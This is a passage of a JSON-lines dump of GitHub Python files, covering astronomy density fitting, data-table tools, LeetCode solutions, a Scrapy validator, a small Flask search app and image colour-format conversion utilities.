 theta = np.deg2rad(np.sqrt(116))\n    t1 = theta/2.0\n    alpha_c3 = np.deg2rad(61.4) # degrees\n    alpha_c6 = np.deg2rad(50.4) # degrees\n\n    bins = np.linspace(np.log10(100),np.log10(5000),19)\n    Z = np.log10(np.abs(obs['Z'])*1000)\n    hist, bin_edges = np.histogram(Z, bins = bins)\n    print(bin_edges)\n    print(hist)\n    volume = []\n\n    for i in range(len(bin_edges)-1):\n        x2 = lambda x: ((10**bin_edges[i])**3)*(1-np.cos(theta))*np.cos(t1)*(np.sin(alpha_c3 + t1 - x)**-3)\n        x3 = lambda xa: ((10**bin_edges[i+1])**3)*(1-np.cos(theta))*np.cos(t1)*(np.sin(alpha_c3 + t1 - xa)**-3)\n\n        vol1 = integrate.quad(x2,0,theta)\n        vol2 = integrate.quad(x3,0,theta)\n        Vol = vol2[0] - vol1[0]\n        volume.append(Vol)\n\n    print(volume)\n    rho = []\n    rho10 = np.zeros(len(volume))\n    for i in range(len(volume)):\n        density = hist[i]/volume[i]\n        rho10[i] = density\n        rho.append(np.log10(density)) # In units number of stars/pc^3\n\n    print(rho)\n\n    bin_10 = 10**bin_edges[1:]\n    # x = pd.DataFrame()\n    # x['Z'] = bin_10\n    # x['log_rho'] = np.log10(rho10)\n    # x['log_sig_rho'] = np.log10(np.sqrt(hist)/volume)\n    # x['rho'] = 10**np.log10(rho10)\n    # x['sig_rho'] = 10**np.log10(np.sqrt(hist)/volume)\n    # print(x)\n    # x.to_csv('/home/ben/Dropbox/K2Poles/pop_trends/Ioana_Scale_Heights/C6',index=False)\n    sig_rho = np.sqrt(hist)/volume\n\n    ''' Least squares fitting '''\n    def f(Par,z):\n        return Par[0]*np.exp(-z/Par[1])\n    mpar, cpar, empar, ecpar = [], [], [], []\n    linear = odrpack.Model(f)\n    mydata = odrpack.RealData(bin_10[6:11], rho10[6:11], sy=sig_rho[6:11])\n    myodr = odrpack.ODR(mydata, linear, beta0=[1e-3, 500],maxit=20000)\n    myoutput = myodr.run()\n    mpar.append(myoutput.beta[0])\n    cpar.append(myoutput.beta[1])\n    empar.append(myoutput.sd_beta[0])\n    ecpar.append(myoutput.sd_beta[1])\n    # myoutput.pprint()\n\n    b = bin_10[12:]\n    # b = np.delete(b,[1])\n    r = rho10[12:]\n    # r = np.delete(r,[1])\n    sig = sig_rho[12:]\n    # sig = np.delete(sig,[1])\n    def f1(Par,z):\n        return Par[0]*np.exp(-z/Par[1])\n    mpar1, cpar1, empar1, ecpar1 = [], [], [], []\n    linear1 = odrpack.Model(f1)\n    mydata1 = odrpack.RealData(b, r, sy=sig)\n    myodr1 = odrpack.ODR(mydata1, linear1, beta0=[5e-4, 1000],maxit=20000)\n    myoutput1 = myodr1.run()\n    mpar1.append(myoutput1.beta[0])\n    cpar1.append(myoutput1.beta[1])\n    empar1.append(myoutput1.sd_beta[0])\n    ecpar1.append(myoutput1.sd_beta[1])\n    # myoutput1.pprint()\n\n    plt.figure()\n    plt.scatter(bin_10,rho)\n    # plt.scatter(bin_10[6:11],rho[6:11],color='r')\n    # plt.scatter(bin_10[12:16],rho[12:16],color='y')\n    # plt.scatter(b,np.log10(r))\n    plt.plot(bin_10,np.log10(myoutput.beta[0]*np.exp(-bin_10/myoutput.beta[1])),color='orange', \\\n            label=r'$\\rho_{0} =$ %.4g pc$^{-3}$, H$_{\\rm{z}} = $ %.4g pc'%(mpar[0],cpar[0]))\n    plt.plot(bin_10,np.log10(myoutput1.beta[0]*np.exp(-bin_10/myoutput1.beta[1])),color='orange',linestyle='--', \\\n            label=r'$\\rho_{0} =$ %.4g pc$^{-3}$, H$_{\\rm{z}} = $ %.4g pc'%(mpar1[0],cpar1[0]))\n    plt.ylim(-7.75,-3.5)\n    plt.xlim(100, 5100)\n    plt.tick_params(labelsize=15)\n    plt.ylabel(r'Log Space Density',fontsize=20)\n    plt.xlabel(r'Z [pc]',fontsize=20)\n    plt.legend(prop={'size':10})\n    plt.tight_layout(rect=[0, 0.03, 1, 0.95])\n\n\nif __name__ == \"__main__\":\n\n    C3_True = pd.read_csv('.../C3')\n    C3_spec = pd.read_csv('.../C3_spectro')\n    C6_True = pd.read_csv('.../C6')\n    C6_spec = pd.read_csv('.../C6_spectro')\n\n    space_density2(C6_True)\n    space_density2(C3_True)\n\n    plt.show()\n","repo_name":"benrendle/K2_Scale_Heights","sub_path":"scale_heights.py","file_name":"scale_heights.py","file_ext":"py","file_size_in_byte":7794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8933340007","text":"grades = {'Jerry': 75, 'Rose': 95}\nprint(grades['Jerry'])\n\ngrades['Brian'] = 90\n# grades['Cole'] = 100\n# print(grades)\n\n# print(len(grades))\n# print('Jerry' in grades)    #returns TRUE if Jerry is in grades list\n# print(90 in grades.values())  #returns TRUE if there is a 90\n\n\n\ndef histogram(s):\n    d = {}\n    for c in s:\n        if c not in d:\n            d[c] = 1\n        else:\n            d[c] += 1\n    return d\n\nh = histogram('Bookkeeper')\n# print(histogram('Book'))\n\nnumber_of_e = h.get('a', 0)\nprint(number_of_e)\n\n\ndef print_hist(h):\n    for c in h:\n        print(c, h[c])\n\n# h = histogram('assachusetts')\n# print_hist(h)\n\ndef reverse_lookup(d, v):\n    for k in d:\n        if d[k] == v:\n            return k\n    raise LookupError()\n\nh = histogram('Massachusetts')\nkey = reverse_lookup(h, 2)\nprint(key)","repo_name":"bcollins5/mis3640","sub_path":"dict_demo.py","file_name":"dict_demo.py","file_ext":"py","file_size_in_byte":808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"7669187882","text":"#!/usr/bin/env python2\nDESCRIPTION = '''\n\n## Will take an expression table:\n-------------------------------------------\nName    0     0     1     1       2       2\ng_1     110.228435689309        64.0391285500166        122.567613606863        36.5502485374348        31.4453312587946        50.1473810591819        \ng_2     99.6883941607563        51.0636072183567        100.444308424267        31.3542176087311        28.2054047121086        37.7055303795786\n..      ....                    ....                    ....                    ....                    ....                    ....\n-------------------------------------------\n\n\n## And will melt the data into:\n--------------------------------\nName    Time    Expression\ng_1     0       110.228435689309\ng_1     0       64.0391285500166\ng_1     1       122.567613606863\ng_1     1       36.5502485374348\ng_1     2       31.4453312587946\ng_1     2       50.1473810591819\ng_2     0       99.6883941607563\ng_2     0       51.0636072183567\ng_2     1       100.444308424267\ng_2     1       31.3542176087311\n..      .       ....\n..      .       ....\n--------------------------------\n\n## Example (add 4th column with condition info):\npython melt_table.py -i matrix.txt.CL | awk '{ if (NR!=1) {print $0\"\\\\tCL\"} else {print $0\"\\\\tCondition\"} }' > matrix.melted\npython melt_table.py -i matrix.txt.HL | awk '{ if (NR!=1) {print $0\"\\\\tHL\"} }' >> matrix.melted\n\n'''\nimport sys\nimport os\nimport argparse\nimport logging\nimport gzip\n\n## Pass arguments.\ndef main():\n\t# Pass command line arguments. \n\tparser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description=DESCRIPTION)\n\tparser.add_argument('-i', '--input', metavar='input.txt', \n\t\trequired=False, default=sys.stdin, type=lambda x: __parse_file_check_compression(x, 'r'), \n\t\thelp='Expression matrix [gzip] file (default: stdin)'\n\t)\n\tparser.add_argument('-o', '--out', metavar='output.txt', \n\t\trequired=False, default=sys.stdout, type=lambda x: __parse_file_check_compression(x, 'w'), \n\t\thelp='Melted expression [gzip] file (default: stdout)'\n\t)\n\tparser.add_argument('--debug', \n\t\trequired=False, action='store_true', \n\t\thelp='Print DEBUG info (default: %(default)s)'\n\t)\n\targs = parser.parse_args()\n\t\n\t# Set up basic debugger\n\tlogFormat = \"[%(levelname)s]: %(message)s\"\n\tlogging.basicConfig(format=logFormat, stream=sys.stderr, level=logging.INFO)\n\tif args.debug:\n\t\tlogging.getLogger().setLevel(logging.DEBUG)\n\t\n\tlogging.debug('%s', args) ## DEBUG\n\t\n\tmelt_expression_table(args.input, args.out)\n\n\n\ndef melt_expression_table(in_table, out_table):\n\tout_table.write('Name\\tTime\\tExpression\\n')\n\t\n\tcol_names = in_table.readline().strip().split('\\t') # Get column names\n\tif len(col_names) <= 1:\n\t\tlogging.error('Need >= 2 columns, only %s found!', len(col_names))\n\t\tlogging.error('%s', col_names)\n\t\tsys.exit(1)\n\t\n\tfor line in in_table:\n\t\tline = line.strip()\n\t\t# Ignore blank and comment lines\n\t\tif not line or line.startswith('#'):\n\t\t\tcontinue\n\t\t\n\t\trow = line.split('\\t')\n\t\tif len(row) != len(col_names):\n\t\t\tlogging.error('Num columns (%s) in row does not match num column (%s) names', len(row), len(col_names))\n\t\t\tlogging.error('%s', col_names)\n\t\t\tlogging.error('%s', row)\n\t\t\tsys.exit(1)\n\t\t\n\t\tfor i in range(1, len(row)):\n\t\t\tout_table.write('%s\\t%s\\t%s\\n' % (row[0], col_names[i], row[i]))\n\n\n\ndef __parse_file_check_compression(fh, mode='r'):\n\t'''\n\tOpen stdin/normal/gzip files - check file exists (if mode='r') and open using appropriate function.\n\t'''\n\t# Check file exists if mode='r'\n\tif not os.path.exists(fh) and mode == 'r':\n\t\traise argparse.ArgumentTypeError(\"The file %s does not exist!\" % fh)\n\t\n\t## open with gzip if it has the *.gz extension, else open normally (including stdin)\n\ttry: \n\t\tif fh.endswith(\".gz\"):\n\t\t\treturn gzip.open(fh, mode+'b')\n\t\telse:\n\t\t\treturn open(fh, mode)\n\texcept IOError as e:\n\t\traise argparse.ArgumentTypeError('%s' % e)\n\n\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"TimothyStephens/Utils","sub_path":"Expression_Analysis/expression_table_tools/melt_table.py","file_name":"melt_table.py","file_ext":"py","file_size_in_byte":3925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73408929042","text":"import xml.etree.ElementTree as ET\n\n\n#return a tuple (fields, geometry, cells)\n#fields is a list of tuples (fieldname, offset, codec), e.g. (\"x\", 0, F32)\n#geometry is a tuple (cell-size, origin-x, origin-y)\n#cells is a list of tuples (index-x, index-y, record_count)\ndef read_index_xml(path):\n    tree = ET.parse(path)\n    root = tree.getroot()\n\n    #read fields\n    field_node = root.find(\"fields\")\n    fields = []\n    possible_fields = [\"x\", \"y\", \"z\", \"time\", \"reflectance\", \"run-id\"]\n\n    for p in possible_fields:\n        p_node = field_node.find(p)\n        if p_node is None:\n            continue\n\n        offset = int(p_node.find(\"offset\").text)\n        codec = p_node.find(\"codec\").text\n        fields.append((p, offset, codec))\n\n    #read geometry\n    geometry_node = root.find(\"geometry\")\n    cell_size = int(geometry_node.find(\"cell-size\").text)\n    origin_x = int(geometry_node.find(\"origin-x\").text)\n    origin_y = int(geometry_node.find(\"origin-y\").text)\n    geometry = (cell_size, origin_x, origin_y)\n\n    #read cells\n    cells_node = root.find(\"cells\")\n    cell_nodes = cells_node.findall(\"cell\")\n    cells = []\n    for c in cell_nodes:\n        index_x = int(c.find(\"index-x\").text)\n        index_y = int(c.find(\"index-y\").text)\n        record_count = int(c.find(\"records\").text)\n        cells.append((index_x, index_y, record_count))\n    \n    return fields, geometry, cells\n\n\ndef get_cell_id(index_x, index_y):\n    if index_x >= 0:\n        x = hex(index_x)[2:]\n        x = x.rjust(8, '0')\n    else:\n        x = hex(index_x + 16**8)[2:-1]\n\n    if index_y >= 0:\n        y = hex(index_y)[2:]\n        y = y.rjust(8, '0')\n    else:\n        y = hex(index_y + 16**8)[2:-1]\n\n    return x + \"_\" + y\n\n\ndef get_xyz_runid_fields_indices(fields):\n    #indices of certain fields in the point-tuples read from the dat-files\n    fields.sort(key = lambda field: field[1])\n    ix = -1\n    iy = -1\n    iz = -1\n    irunid = -1\n\n    for i in xrange(len(fields)):\n        if fields[i][0] == \"x\":\n            ix = i\n        elif fields[i][0] == \"y\":\n            iy = i\n        elif fields[i][0] == \"z\":\n            iz = i\n        elif fields[i][0] == \"run-id\":\n            irunid = i\n\n    return (ix, iy, iz, irunid)\n","repo_name":"yuzzfeng/pydtm","sub_path":"lib/index_xml.py","file_name":"index_xml.py","file_ext":"py","file_size_in_byte":2210,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"1833889401","text":"# coding=utf-8\nfrom __future__ import unicode_literals\n\nimport sys\n\nPY26 = (sys.version_info[:2] == (2, 6))\nVERSION = (1, 3, 0, 'beta', 2)\n\n\ndef get_version(version=None):\n    \"\"\"Derives a PEP386-compliant version number from VERSION.\"\"\"\n    if version is None:\n        version = VERSION\n    assert len(version) == 5\n    assert version[3] in ('alpha', 'beta', 'rc', 'final')\n\n    # Now build the two parts of the version number:\n    # main = X.Y[.Z]\n    # sub = .devN - for pre-alpha releases\n    #     | {a|b|c}N - for alpha, beta and rc releases\n\n    parts = 2 if version[2] == 0 else 3\n    main = '.'.join(str(x) for x in version[:parts])\n\n    sub = ''\n    if version[3] != 'final':\n        mapping = {'alpha': 'a', 'beta': 'b', 'rc': 'c'}\n        sub = mapping[version[3]] + str(version[4])\n\n    return main + sub\n\n\n__version__ = get_version()\n\n\nclass lazy_shortcut(object):\n    def __init__(self, module, target):\n        self._evaluated = False\n        self.module = module\n        self.targets = target.split('.', 1)\n\n    def __call__(self, *args, **kwargs):\n        target = self.__evaluate__()\n        return target(*args, **kwargs)\n\n    def __getattr__(self, item):\n        target = self.__evaluate__()\n        return getattr(target, item)\n\n    def __evaluate__(self):\n        if not self._evaluated:\n            from .utils.imports import import_module\n\n            # Evaluate target\n            target = import_module(self.module)\n            for name in self.targets:\n                target = getattr(target, name)\n\n            # Point module shortcut variable to target\n            __module__ = sys.modules[__name__]\n            setattr(__module__, name, target)\n\n            self._evaluated = True\n            return target\n\n\nenv = lazy_shortcut('cio.environment', 'env')\nget = lazy_shortcut('cio.api', 'get')\nset = lazy_shortcut('cio.api', 'set')\nload = lazy_shortcut('cio.api', 'load')\ndelete = lazy_shortcut('cio.api', 'delete')\npublish = lazy_shortcut('cio.api', 'publish')\nrevisions = lazy_shortcut('cio.api', 'revisions')\nsearch = lazy_shortcut('cio.api', 'search')\n","repo_name":"5monkeys/content-io","sub_path":"cio/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2087,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"3"}
+{"seq_id":"2023889320","text":"# -*- coding: utf-8 -*- \nfrom scrapy.exceptions import DropItem\nfrom validators.number import is_not_number\nfrom validators.url import is_not_valid_url\n\nrequired = ['title', 'owner_name', 'link', 'sleeps', 'bedrooms', 'bathrooms', 'property_type', 'location']\noptional = ['description', 'min_stay', 'suitability', 'images', 'amenities']\nnumerical = ['sleeps', 'bedrooms', 'bathrooms']\nurl = ['link', 'images']\n\nclass Validator(object):\n    def process_item(self, item, spider):\n        if item is not None:\n            self.required_fields(item)\n            item = self.optional_fields(item)\n            item = self.numerical_fields(item)\n            item = self.url_fields(item)\n\n            return item\n\n    def required_fields(self, item):\n        for field in required:\n            if not field in item:\n                raise DropItem(\"Missing field: %s\" % field)\n\n    def optional_fields(self, item):\n        for field in optional:\n            if not field in item:\n                item[field] = None\n        return item\n\n    def numerical_fields(self, item):\n        for field in numerical:\n            if is_not_number(item[field]) and field in required:\n                raise DropItem(\"%s is not a number\" % field)\n        return item\n\n    def url_fields(self, item):\n        for field in url:\n            if is_not_valid_url(item[field]) and field in required:\n                raise DropItem(\"%s is not a valid url\" % field)\n        return item\n\n\n\n\n                \n","repo_name":"Kashk/python_scraper","sub_path":"scrapers/pipelines/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42877790876","text":"# Given an integer array nums and an integer val, remove all occurrences of val in nums in-place.\n# The order of the elements may be changed.\n# Then return the number of elements in nums which are not equal to val.\n# The number of elements in nums which are not equal to val be k, to get accepted, you need to do the following things:\n\n# Change the array nums such that the first k elements of nums contain the elements which are not equal to val.\n# The remaining elements of nums are not important as well as the size of nums.\n\n# Return k.\n\n\"\"\"\nConstraints:\n0 <= nums.length <= 100\n0 <= nums[i] <= 50\n0 <= val <= 100\n\"\"\"\n\n\nclass Solution:\n    def removeElement(self, nums, val):\n        k=0\n        for i in range(len(nums)):\n            if nums[i]==val:\n                continue\n            nums[k]=nums[i]     \n            \n            k+=1\n        \n        # Returns length of the list after removing the target element from the input list    \n        return k\n      \n      \n# Case Study 1\ns = Solution()\nnums = [3,2,2,3]\nval = 3\nresult = s.removeElement(nums,val)\nprint(result) # Output: 2\n\n# Case Study 2\ns = Solution()\nnums = [1,4,0,2,4,4,1]\nval = 4\nresult = s.removeElement(nums,val)\nprint(result) # Output: 4\n\n# Case Study 3\ns = Solution()\nnums = [1,0,1]\nval = 1\nresult = s.removeElement(nums,val)\nprint(result) # Output: 1\n","repo_name":"sfereira/leet_code_problems","sub_path":"Remove_Element.py","file_name":"Remove_Element.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17294465343","text":"# https://leetcode.com/problems/balanced-binary-tree/\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution(object):\n    def isBalanced(self, root):\n        def dfs(node):\n            if node == None:\n                return 0\n            l = dfs(node.left)\n            r = dfs(node.right)\n            if l == -1 or r == - 1:\n                return -1\n            if abs(l-r) > 1:\n                return -1\n            return max(l, r) + 1\n        if dfs(root) == -1:\n            return False\n        return True\n        ","repo_name":"eldor-galiev/LeetcodeTasks","sub_path":"Depth-First Search/110.py","file_name":"110.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41753599695","text":"from flask import Flask, render_template, json, request\nfrom google import search\nimport os\n\n\napp = Flask(__name__)\n\n@app.route(\"/search\",methods = ['POST'])\ndef search1():\n        search_query = \"\"\n        if request.form['format'] != '':\n                search_query = request.form['format']\n\n        if request.form['song_name'] != '':\n                search_query = search_query + \":\" + request.form['song_name']\n\n        if request.form['artist_name'] != '':\n                search_query = search_query + \" artist:\" + request.form['artist_name']\n\n        if request.form['movie_name'] != '':\n                search_query = search_query + \" movie:\" + request.form['movie_name']\n\n        print(search_query)\n        search_results = {}\n        i = 1\n        for url in search(search_query,stop=10):\n                search_results[i] = url\n                i += 1\n\n        return render_template(\"result.html\", result=search_results)\n\n@app.route(\"/\")\ndef main():\n    return render_template('index.html')\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n\n\t\n","repo_name":"anjawanj/python-applications","sub_path":"GoogleMusicSearch/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40034635891","text":"from __future__ import (\n    unicode_literals,\n    absolute_import,\n    print_function,\n    division,\n)\n\nimport numpy as np\nfrom PIL import Image\n\n# Make Py2's str and range equivalent to Py3's\nnative_str = str  # pylint: disable=invalid-name\nstr = type('')  # pylint: disable=redefined-builtin,invalid-name\n\ncolor_dtype = np.dtype([  # pylint: disable=invalid-name\n    (native_str('r'), np.float32),\n    (native_str('g'), np.float32),\n    (native_str('b'), np.float32),\n])\n\n\ndef check_rgb888(arr):\n    if not (\n            isinstance(arr, np.ndarray) and\n            arr.dtype == np.uint8 and\n            len(arr.shape) == 3\n            and arr.shape[2] == 3):\n        raise ValueError(\"arr must be a 3-dimensional numpy array of bytes\")\n\n\ndef check_rgb565(arr):\n    if not (\n            isinstance(arr, np.ndarray) and\n            arr.dtype == np.uint16 and\n            len(arr.shape) == 2):\n        raise ValueError(\"arr must be a 2-dimensional numpy array of \"\n                         \"16-bit ints\")\n\n\ndef check_rgb(arr):\n    if not (\n            isinstance(arr, np.ndarray) and\n            arr.dtype == color_dtype and\n            len(arr.shape) == 2):\n        raise ValueError(\"arr must be a 2-dimensional numpy array of \"\n                         \"16-bit ints\")\n\n\ndef image_to_rgb888(img):\n    \"\"\"\n    Convert *img* (an :class:`~PIL.Image.Image`) to RGB888 format in an\n    :class:`~numpy.ndarray` with shape (8, 8, 3).\n    \"\"\"\n    if img.mode != 'RGB':\n        img = img.convert('RGB')\n    buf = img.tobytes()\n    return np.frombuffer(buf, dtype=np.uint8).reshape(\n        (img.size[1], img.size[0], 3)\n    )\n\n\ndef image_to_rgb565(img):\n    \"\"\"\n    Convert *img* (an :class:`~PIL.Image.Image`) to RGB565 format in an\n    :class:`~numpy.ndarray` with shape (8, 8).\n    \"\"\"\n    return rgb888_to_rgb565(image_to_rgb888(img))\n\n\ndef image_to_rgb(img):\n    \"\"\"\n    Convert *img* (an :class:`~PIL.Image.Image`) to an :class:`~numpy.ndarray`\n    in RGB format (structured floating-point type with 3 values each between 0\n    and 1).\n    \"\"\"\n    return rgb888_to_rgb(image_to_rgb888(img))\n\n\ndef rgb_to_image(arr):\n    \"\"\"\n    Convert *arr* (an :class:`~numpy.ndarray` in RGB format, structured\n    floating-point type with 3 values each between 0 and 1) to an\n    :class:`~PIL.Image.Image`.\n    \"\"\"\n    return rgb888_to_image(rgb_to_rgb888(arr))\n\n\ndef rgb888_to_image(arr):\n    \"\"\"\n    Convert an :class:`~numpy.ndarray` in RGB888 format (unsigned 8-bit\n    values in 3 planes) to an :class:`~PIL.Image.Image`.\n    \"\"\"\n    check_rgb888(arr)\n    return Image.frombuffer('RGB', (arr.shape[1], arr.shape[0]),\n                            arr, 'raw', 'RGB', 0, 1)\n\n\ndef rgb888_to_rgb565(arr, out=None):\n    \"\"\"\n    Convert an :class:`~numpy.ndarray` in RGB888 format (unsigned 8-bit values\n    in 3 planes) to an :class:`~numpy.ndarray` in RGB565 format (unsigned\n    16-bit values with 5 bits for red and blue, and 6 bits for green laid out\n    RRRRRGGGGGGBBBBB).\n    \"\"\"\n    check_rgb888(arr)\n    if out is None:\n        out = np.empty(arr.shape[:2], np.uint16)\n    else:\n        check_rgb565(out)\n        if out.shape != arr.shape[:2]:\n            raise ValueError(\"output array has wrong shape\")\n    out[...] = (\n        ((arr[..., 0] & 0xF8).astype(np.uint16) << 8) |\n        ((arr[..., 1] & 0xFC).astype(np.uint16) << 3) |\n        ((arr[..., 2] & 0xF8).astype(np.uint16) >> 3)\n    )\n    return out\n\n\ndef rgb565_to_rgb888(arr, out=None):\n    \"\"\"\n    Convert an :class:`~numpy.ndarray` in RGB565 format (unsigned 16-bit values\n    with 5 bits for red and blue, and 6 bits for green laid out\n    RRRRRGGGGGGBBBBB) to an :class:`~numpy.ndarray` in RGB888 format (unsigned\n    8-bit values in 3 planes).\n    \"\"\"\n    check_rgb565(arr)\n    if out is None:\n        out = np.empty(arr.shape + (3,), np.uint8)\n    else:\n        check_rgb888(out)\n        if out.shape != arr.shape + (3,):\n            raise ValueError(\"output array has wrong shape\")\n    out[..., 0] = ((arr & 0xF800) >> 8).astype(np.uint8)\n    out[..., 1] = ((arr & 0x07E0) >> 3).astype(np.uint8)\n    out[..., 2] = ((arr & 0x001F) << 3).astype(np.uint8)\n    # Fill the bottom bits\n    out[..., 0] |= out[..., 0] >> 5\n    out[..., 1] |= out[..., 1] >> 6\n    out[..., 2] |= out[..., 2] >> 5\n    return out\n\n\ndef rgb565_to_image(arr):\n    \"\"\"\n    Convert an :class:`~numpy.ndarray` in RGB565 format (unsigned 16-bit values\n    with 5 bits for red and blue, and 6 bits for green laid out\n    RRRRRGGGGGGBBBBB) to an :class:`~PIL.Image.Image`.\n    \"\"\"\n    return rgb888_to_image(rgb565_to_rgb888(arr))\n\n\ndef rgb_to_rgb888(arr, out=None):\n    \"\"\"\n    Convert a numpy :class:`~numpy.ndarray` in RGB format (structured\n    floating-point type with 3 values each between 0 and 1) to RGB888 format\n    (unsigned 8-bit values in 3 planes).\n    \"\"\"\n    check_rgb(arr)\n    if out is None:\n        out = np.empty(arr.shape + (3,), np.uint8)\n    else:\n        check_rgb888(out)\n        if out.shape != arr.shape + (3,):\n            raise ValueError(\"output array has wrong shape\")\n    out[..., 0] = arr['r'] * 255\n    out[..., 1] = arr['g'] * 255\n    out[..., 2] = arr['b'] * 255\n    return out\n\n\ndef rgb888_to_rgb(arr, out=None):\n    \"\"\"\n    Convert a numpy :class:`~numpy.ndarray` in RGB888 format (unsigned 8-bit\n    values in 3 planes) to RGB format (structured floating-point type with 3\n    values, each between 0 and 1).\n    1.\n    \"\"\"\n    check_rgb888(arr)\n    if out is None:\n        out = np.empty(arr.shape[:2], color_dtype)\n    else:\n        check_rgb(out)\n        if out.shape != arr.shape[:2]:\n            raise ValueError(\"output array has wrong shape\")\n    arr = arr.astype(np.float32) / 255\n    out['r'] = arr[..., 0]\n    out['g'] = arr[..., 1]\n    out['b'] = arr[..., 2]\n    return out\n\n\ndef rgb_to_rgb565(arr, out=None):\n    \"\"\"\n    Convert a numpy :class:`~numpy.ndarray` in RGB format (structured\n    floating-point type with 3 values each between 0 and 1) to RGB565 format\n    (unsigned 16-bit values with 5 bits for red and blue, and 6 bits for green\n    laid out RRRRRGGGGGGBBBBB).\n    \"\"\"\n    check_rgb(arr)\n    if out is None:\n        out = np.zeros(arr.shape, np.uint16)\n    else:\n        check_rgb565(out)\n        if out.shape != arr.shape:\n            raise ValueError(\"output array has wrong shape\")\n        out[...] = 0\n    out |= (arr['r'] * 0x1F).astype(np.uint16) << 11\n    out |= (arr['g'] * 0x3F).astype(np.uint16) << 5\n    out |= (arr['b'] * 0x1F).astype(np.uint16)\n    return out\n\n\ndef rgb565_to_rgb(arr, out=None):\n    \"\"\"\n    Convert a numpy :class:`~numpy.ndarray` in RGB565 format (unsigned 16-bit\n    values with 5 bits for red and blue, and 6 bits for green laid out\n    RRRRRGGGGGGBBBBB) to RGB format (structured  floating-point type with 3\n    values each between 0 and 1).\n    \"\"\"\n    check_rgb565(arr)\n    if out is None:\n        out = np.empty(arr.shape, color_dtype)\n    else:\n        check_rgb(out)\n        if out.shape != arr.shape:\n            raise ValueError(\"output array has wrong shape\")\n    out['r'] = ((arr & 0xF800) / 0xF800).astype(np.float32)\n    out['g'] = ((arr & 0x07E0) / 0x07E0).astype(np.float32)\n    out['b'] = ((arr & 0x001F) / 0x001F).astype(np.float32)\n    return out\n\n\ndef buf_to_rgb888(buf):\n    \"\"\"\n    Converts *buf* to a 3-dimensional numpy :class:`~numpy.ndarray` containing\n    bytes (RGB888 format). The *buf* parameter can be any of the following\n    types:\n\n    * An PIL :class:`~PIL.Image.Image`.\n\n    * An numpy :class:`~numpy.ndarray` with a compatible data-type (the 3-tuple\n      of floats used by :class:`ScreenArray`, or simple bytes).\n\n    * A buffer of 192 bytes; each 3 bytes will be taken as RGB levels for\n      pixels, working across then down the display.\n\n    The last format is fixed size as a linear buffer has no shape and that is\n    the one size we can reasonably guess a shape for. However, the other\n    formats are not size limited.\n    \"\"\"\n    if isinstance(buf, Image.Image):\n        arr = image_to_rgb888(buf)\n    elif isinstance(buf, np.ndarray) and 2 <= len(buf.shape) <= 3:\n        if len(buf.shape) == 2:\n            if buf.dtype == color_dtype:\n                arr = rgb_to_rgb888(buf)\n            elif buf.dtype == np.uint8:\n                arr = np.dstack((buf, buf, buf))\n            else:\n                raise ValueError(\"can't coerce dtype %s to uint8\" % buf.dtype)\n        else:\n            if buf.dtype != np.uint8:\n                raise ValueError(\"can't coerce dtype %s to uint8\" % buf.dtype)\n            arr = buf\n    else:\n        try:\n            arr = np.frombuffer(buf, np.uint8)\n        except AttributeError:\n            raise TypeError('buf must implement the buffer protocol')\n        if len(arr) == 192:\n            arr = arr.reshape((8, 8, 3))\n        else:\n            raise ValueError(\"buffer must be 8x8 pixels in size\")\n    return arr\n\n\ndef buf_to_image(buf):\n    \"\"\"\n    Converts *buf* to an RGB PIL :class:`~PIL.Image.Image`. The *buf* parameter\n    can be any of the types accepted by :func:`buf_to_rgb888`.\n    \"\"\"\n    if isinstance(buf, Image.Image):\n        if buf.mode != 'RGB':\n            return buf.convert('RGB')\n        else:\n            return buf\n    else:\n        arr = buf_to_rgb888(buf)\n        return Image.frombuffer('RGB', (arr.shape[1], arr.shape[0]),\n                                arr, 'raw', 'RGB', 0, 1)\n\n\ndef buf_to_rgb(buf):\n    \"\"\"\n    Converts *buf* to a 2-dimensional numpy :class:`~numpy.ndarray` containing\n    3-tuples of floats between 0.0 and 1.0 (in other words, the same format as\n    :class:`ScreenArray`). The *buf* parameter can be any of the types accepted\n    by :func:`buf_to_rgb888`.\n    \"\"\"\n    if isinstance(buf, np.ndarray) and len(buf.shape) == 2 and buf.dtype == color_dtype:\n        return buf\n    else:\n        return rgb888_to_rgb(buf_to_rgb888(buf))\n\n\ndef iter_to_rgb(it, shape=(8, 8)):\n    \"\"\"\n    Converts *it* (an iterator containing 3-tuples of floats between 0.0 and\n    1.0) to a 2-dimensional numpy :class:`~numpy.ndarray` containing the same\n    values with the specified *shape*.\n    \"\"\"\n    # pylint: disable=invalid-name\n    assert len(shape) == 2\n    return np.fromiter(it, color_dtype, shape[0] * shape[1]).reshape(shape)\n","repo_name":"waveform80/pisense","sub_path":"pisense/formats.py","file_name":"formats.py","file_ext":"py","file_size_in_byte":10171,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"}
